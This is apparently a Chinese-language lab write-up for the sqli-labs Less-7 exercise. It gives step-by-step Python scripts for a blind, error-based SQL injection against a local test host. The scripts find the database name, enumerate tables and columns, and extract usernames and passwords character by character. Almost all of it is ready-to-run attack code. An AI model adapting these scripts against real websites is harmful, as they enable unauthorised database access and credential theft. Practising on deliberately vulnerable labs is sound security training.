这个是盲注，也是报错注入，有点绕
先看看流程吧
图片.png
都是成双的，
第一句：判断有没注入
第二句：判断当前表有几个字段
第三句：判断数据库名长度
第四局：猜数据库名
第五句：判断语句有没正常执行
第六句：也是判断数据库名长度
第七句：判断有几个表
第八句：判断每个表长度
第九句：猜表名
第十句：判断有几个字段
第十一句：判断每个字段的 长度
第十二句：猜字段名
第十三句：有几条数据
第十四句：每个数据长度
第十五句：猜数据
脚本
当然不可能使用手动咯，
# 数据库长度
database_length = 0
for _ in range(0,10):
url = "http://192.168.154.131/sqli/Less-7/?id=1')) and char_length(database())>{} -- ".format(_)
response = requests.get(url)
if "You have an error in your SQL syntax" in response.text:
print("[+] Databse length is <{}>".format(_))
database_length = _
break
else:
print("[-] {}".format(_))
图片.png
# 猜数据名
import string
database_name = ""
for _ in range(1, database_length+1):
for char in string.ascii_lowercase:
url = "http://192.168.154.131/sqli/Less-7/?id=1')) and substr(database(),{},1)>'{}' -- ".format(_, char)
response = requests.get(url)
if "You have an error in your SQL syntax" in response.text:
print("[+] find name is [{}]<{}>".format(_,char))
database_name += char
break
else:
print("[-] {}".format(char))
print(database_name)
图片.png
# 猜有几个表
tables_count = 0
for _ in range(1,100):
url = "http://192.168.154.131/sqli/Less-7/?id=1')) and char_length((select table_name from information_schema.tables where table_schema='security' limit {},1))>0 -- ".format(_)
response = requests.get(url)
if "You have an error in your SQL syntax" in response.text:
print("[+] table count is <{}>".format(_))
tables_count = _
break
else:
print("[-] {}".format(_))
图片.png
# 每个表名有多长
tables_length = []
for _ in range(0,tables_count):
for i in range(0, 100):
url = "http://192.168.154.131/sqli/Less-7/?id=1')) and char_length((select table_name from information_schema.tables where table_schema='{}' limit {},1))>{} -- ".format(database_name,_, i)
response = requests.get(url)
if "You have an error in your SQL syntax" in response.text:
print("[+] [{}]table length is <{}>".format(_,i))
tables_length.append(i)
break
else:
print("[-] [{}]{}".format(_,i))
图片.png
# 猜表名
tables_name = []
for _ in range(0, tables_count):
table_name = ""
for i in range(1, tables_length[_]+1):
for char in string.ascii_lowercase:
url = "http://192.168.154.131/sqli/Less-7/?id=1')) and substr((select table_name from information_schema.tables where table_schema='{}' limit {},1), {},1)>'{}' -- ".format(database_name,_,i, char)
response = requests.get(url)
if "You have an error in your SQL syntax" in response.text:
print("[+] [{}][{}]table name is <{}>".format(_,i, char))
table_name += char
break
else:
print("[-] [{}][{}]{}".format(_,i, char))
tables_name.append(table_name)
图片.png
# 猜users表有几个字段
columns_count = 0
for _ in range(1,100):
url = "http://192.168.154.131/sqli/Less-7/?id=1')) and char_length((select column_name from information_schema.columns where table_name='{}' limit {},1))>0 -- ".format(tables_name[3], _)
response = requests.get(url)
if "You have an error in your SQL syntax" in response.text:
print("[+] column count is <{}>".format(_))
columns_count = _
break
else:
print("[-] {}".format(_))
图片.png
# 每个字段名有多长
columns_length = []
for _ in range(0,columns_count):
for i in range(0, 100):
url = "http://192.168.154.131/sqli/Less-7/?id=1')) and char_length((select column_name from information_schema.columns where table_name='{}' limit {},1))>{} -- ".format(tables_name[3],_, i)
response = requests.get(url)
if "You have an error in your SQL syntax" in response.text:
print("[+] [{}]column length is <{}>".format(_,i))
columns_length.append(i)
break
else:
print("[-] [{}]{}".format(_,i))
图片.png
# 猜列名
columns_name = []
for _ in range(0, columns_count):
column_name = ""
for i in range(1, columns_length[_]+1):
for char in string.ascii_lowercase:
url = "http://192.168.154.131/sqli/Less-7/?id=1')) and substr((select column_name from information_schema.columns where table_name='{}' limit {},1), {},1)>'{}' -- ".format(tables_name[3],_,i, char)
response = requests.get(url)
if "You have an error in your SQL syntax" in response.text:
print("[+] [{}][{}]column name is <{}>".format(_,i, char))
column_name += char
break
else:
print("[-] [{}][{}]{}".format(_,i, char))
print(column_name)
columns_name.append(column_name)
图片.png
# 猜有多少记录
row = 0
for _ in range(1,100):
url = "http://192.168.154.131/sqli/Less-7/?id=1')) and (select count(id) from users)>{} -- ".format(_)
response = requests.get(url)
if "You have an error in your SQL syntax" in response.text:
print("[+] row name is <{}>".format(_))
row = _
break
else:
print("[-] {}".format(_))
图片.png
# 猜每个数据的长度
username_password_length = []
for _ in range(0, row):
up = []
# 用户名的长度
for ui in range(1,100):
url = "http://192.168.154.131/sqli/Less-7/?id=1')) and char_length((select username from users limit {},1))>={} -- ".format(_,ui)
response = requests.get(url)
if "You have an error in your SQL syntax" in response.text:
print("[+] [{}] username length is <{}>".format(_,ui-1))
up.append(ui-1)
break
else:
print("[-] [{}] {}".format(_,ui-1))
# 密码的长度
for pi in range(1,100):
url = "http://192.168.154.131/sqli/Less-7/?id=1')) and char_length((select password from users limit {},1))>={} -- ".format(_,pi)
response = requests.get(url)
if "You have an error in your SQL syntax" in response.text:
print("[+] [{}] password length is <{}>".format(_,pi-1))
up.append(pi-1)
break
else:
print("[-] [{}] {}".format(_,pi-1))
username_password_length.append(up)
username_password_length
图片.png
# 猜数据
data = []
for _ in range(row):
username = ""
for ui in range(username_password_length[_][0]):
for inti in range(33,128):
url = "http://192.168.154.131/sqli/Less-7/?id=1')) and 1=(select ascii(substr((select username from users limit {},1),{},1))>={}) -- ".format(_,ui+1,inti)
response = requests.get(url)
if "You have an error in your SQL syntax" in response.text:
print("[+] [{}] username[{}] is <{}>".format(_+1,ui+1, chr(inti-1)))
username += chr(inti-1)
break
else:
print("[-] [{}][{}] {}".format(_+1,ui+1, chr(inti)))
print(username)
password = ""
for pi in range(username_password_length[_][1]):
for inti in range(33,128):
url = "http://192.168.154.131/sqli/Less-7/?id=1')) and 1=(select ascii(substr((select password from users limit {},1),{},1))>={}) -- ".format(_,pi+1,inti)
response = requests.get(url)
if "You have an error in your SQL syntax" in response.text:
print("[+] [{}] password[{}] is <{}>".format(_+1,pi+1, chr(inti-1)))
password += chr(inti-1)
break
else:
print("[-] [{}][{}] {}".format(_+1,pi+1, chr(inti)))
print(password)
data.append([username, password])
图片.png
算是完了，
可以优化，使用二分法，速度更快
